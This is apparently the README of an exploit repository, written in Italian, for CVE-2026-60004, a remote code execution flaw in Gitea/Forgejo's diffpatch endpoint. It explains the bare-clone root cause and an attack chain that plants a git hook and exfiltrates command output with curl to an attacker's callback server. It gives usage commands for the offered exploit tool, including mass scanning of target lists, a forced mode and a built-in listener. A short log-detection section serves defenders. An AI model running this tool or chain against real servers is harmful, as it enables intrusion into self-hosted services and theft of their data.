shinthink/cve-2026-60004CVE-2026-60004 — Gitea/Forgejo Diffpatch Git Hook RCE. Clone bare → iniezione hook post-index-change. CVSS 9.8 | CWE-94 | Gitea < 1.27.1
CVE-2026-60004 è una vulnerabilità pre-autenticazione di esecuzione remota di codice con severità critica (CVSS 9.8) nelle piattaforme Git self-hosted Gitea e Forgejo, che interessa le versioni dalla 1.17 alla 1.27.0.
La vulnerabilità sfrutta un difetto progettuale del clone bare nell'endpoint API POST /api/v1/repos/{owner}/{repo}/diffpatch. Gitea applica le patch fornite dall'utente all'interno di un clone temporaneo bare — dove la radice del repository è $GIT_DIR stesso. Inviando la stessa patch dannosa due volte, un attaccante innesca un conflitto add/add che induce il fallback di merge a tre vie di Git (-3, Git 2.32+) a scrivere un hook post-index-change eseguibile direttamente in $GIT_DIR/hooks/. Git esegue automaticamente questo hook durante l'aggiornamento dell'indice, consentendo l'esecuzione arbitraria di comandi con l'account di servizio di Gitea.
È richiesto l'accesso in scrittura al repository — banalmente ottenibile poiché Gitea ha per impostazione predefinita la registrazione aperta, senza verifica email, approvazione dell'amministratore o limiti alla creazione di repository.
| Versione | Stato |
|---|---|
| < 1.17 | Non interessata (route diffpatch non ancora introdotta) |
| 1.17 — 1.27.0 | Vulnerabile |
| 1.27.1+ | Corretta |
Scoperta da: Shai Rod (NightRang3r), 28 luglio 2026 Progetto: Gitea / Forgejo (servizio Git self-hosted) Componente: endpoint API diffpatch, clone temporaneo bare
La vulnerabilità ha origine da un singolo parametro in services/repository/files/patch.go:
// VULNERABLE — v1.27.0, line 195
// The second argument "true" creates a BARE clone
if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
return nil, err
}
In un clone bare non esiste un working tree: la radice del repository è $GIT_DIR. Una patch dannosa il cui percorso è hooks/post-index-change finisce quindi direttamente nella directory reale degli hook di Git, non in un working tree isolato.
L'invocazione di git apply aggrava ulteriormente il problema:
// VULNERABLE — v1.27.0, lines 206-209
cmdApply := gitcmd.NewCommand("apply",
"--index", "--recount", "--cached",
"--ignore-whitespace", "--whitespace=fix", "--binary")
if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
cmdApply.AddArguments("-3") // three-way merge fallback
}
$GIT_DIR, quindi il percorso hooks/post-index-change punta alla directory reale degli hook.--cached non è infallibile — il fallback a tre vie -3 di Git 2.32+ scrive i risultati del merge nel working tree durante i conflitti add/add, nonostante il flag --cached.post-index-change — dopo l'aggiornamento dell'indice, Git esegue incondizionatamente questo hook se esiste ed è eseguibile. Nessuna configurazione necessaria.git update-index all'interno dell'hook va in deadlock perché git apply mantiene il lock dell'indice. Utilizzare callback HTTP (curl) o reverse shell per l'esfiltrazione dell'output.1. Attacker registers account (open registration is the Gitea default)
2. Creates initialized private repository → obtains write access
3. POSTs malicious patch to /api/v1/repos/{owner}/{repo}/diffpatch
└─ Bare temp clone created: .Clone(ctx, oldBranch, true)
└─ git apply --index --cached -3 processes the patch
└─ hooks/post-index-change added to INDEX only (--cached)
4. POSTs the SAME patch again → add/add conflict detected
└─ Three-way merge (-3) resolves the conflict
└─ Writes hooks/post-index-change to $GIT_DIR/hooks/ (bypasses --cached)
└─ Git fires post-index-change hook automatically
└─ Sleep N seconds → timing delta confirms RCE
5. Hook exfiltrates command output via curl to attacker's callback server
└─ GET /?h=<hostname>&c=<command>&data=<base64_output>
6. Callback server writes output to organized files per target
| File | Riga(e) | Scopo |
|---|---|---|
services/repository/files/patch.go | 195 | t.Clone(ctx, opts.OldBranch, true) — creazione del clone bare |
services/repository/files/patch.go | 206-209 | git apply con i flag --index --cached -3 |
services/repository/files/patch.go | 215-223 | WriteTree() + CommitTree() + Push() — persiste lo stato dell'attaccante |
services/repository/files/cherry_pick.go | ~170 | Stesso pattern di clone bare in CherryPick (anch'esso corretto) |
# Look for repeated diffpatch POSTs from newly-registered accounts
grep -E "POST.*diffpatch" /var/log/gitea/gitea.log | awk '{print $1, $3, $NF}' | sort | uniq -c | sort -rn
# Suspicious pattern: new account → immediate repo creation → diffpatch within seconds
grep -E "(user_created|repo_created|diffpatch)" /var/log/gitea/gitea.log
# Check temp directories for orphaned hook files
find /tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
find /var/tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
La differenza tra un clone bare e uno non bare — un singolo parametro booleano — determina se un percorso di patch è una voce innocua del working tree o un hook eseguibile che atterra direttamente nella directory interna di Git. La correzione cambia esattamente un carattere nel diff (true → false), motivo per cui il commit è stato etichettato come "refactor: git patch apply" sotto MISC anziché sotto SECURITY. L'operazione che avrebbe dovuto essere isolata nell'indice (--cached) è stata silenziosamente compromessa dal meccanismo di merge a tre vie di Git, e nessun controllo aggiuntivo impediva la creazione di file hook nella $GIT_DIR del clone bare.
git clone https://github.com/shinthink/CVE-2026-60004.git
cd CVE-2026-60004
pip install requests
# Single target (timing-based RCE detection)
python cve_2026_60004.py -t gitea.example.com
# Single target with callback for output capture
python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888
# Mass scan
python cve_2026_60004.py -f targets.txt -o rce.txt --threads 20
# Force attempt regardless of detected version
python cve_2026_60004.py -f targets.txt --forced
# Auto-start built-in callback listener (zero setup)
python cve_2026_60004.py -t gitea.example.com --listen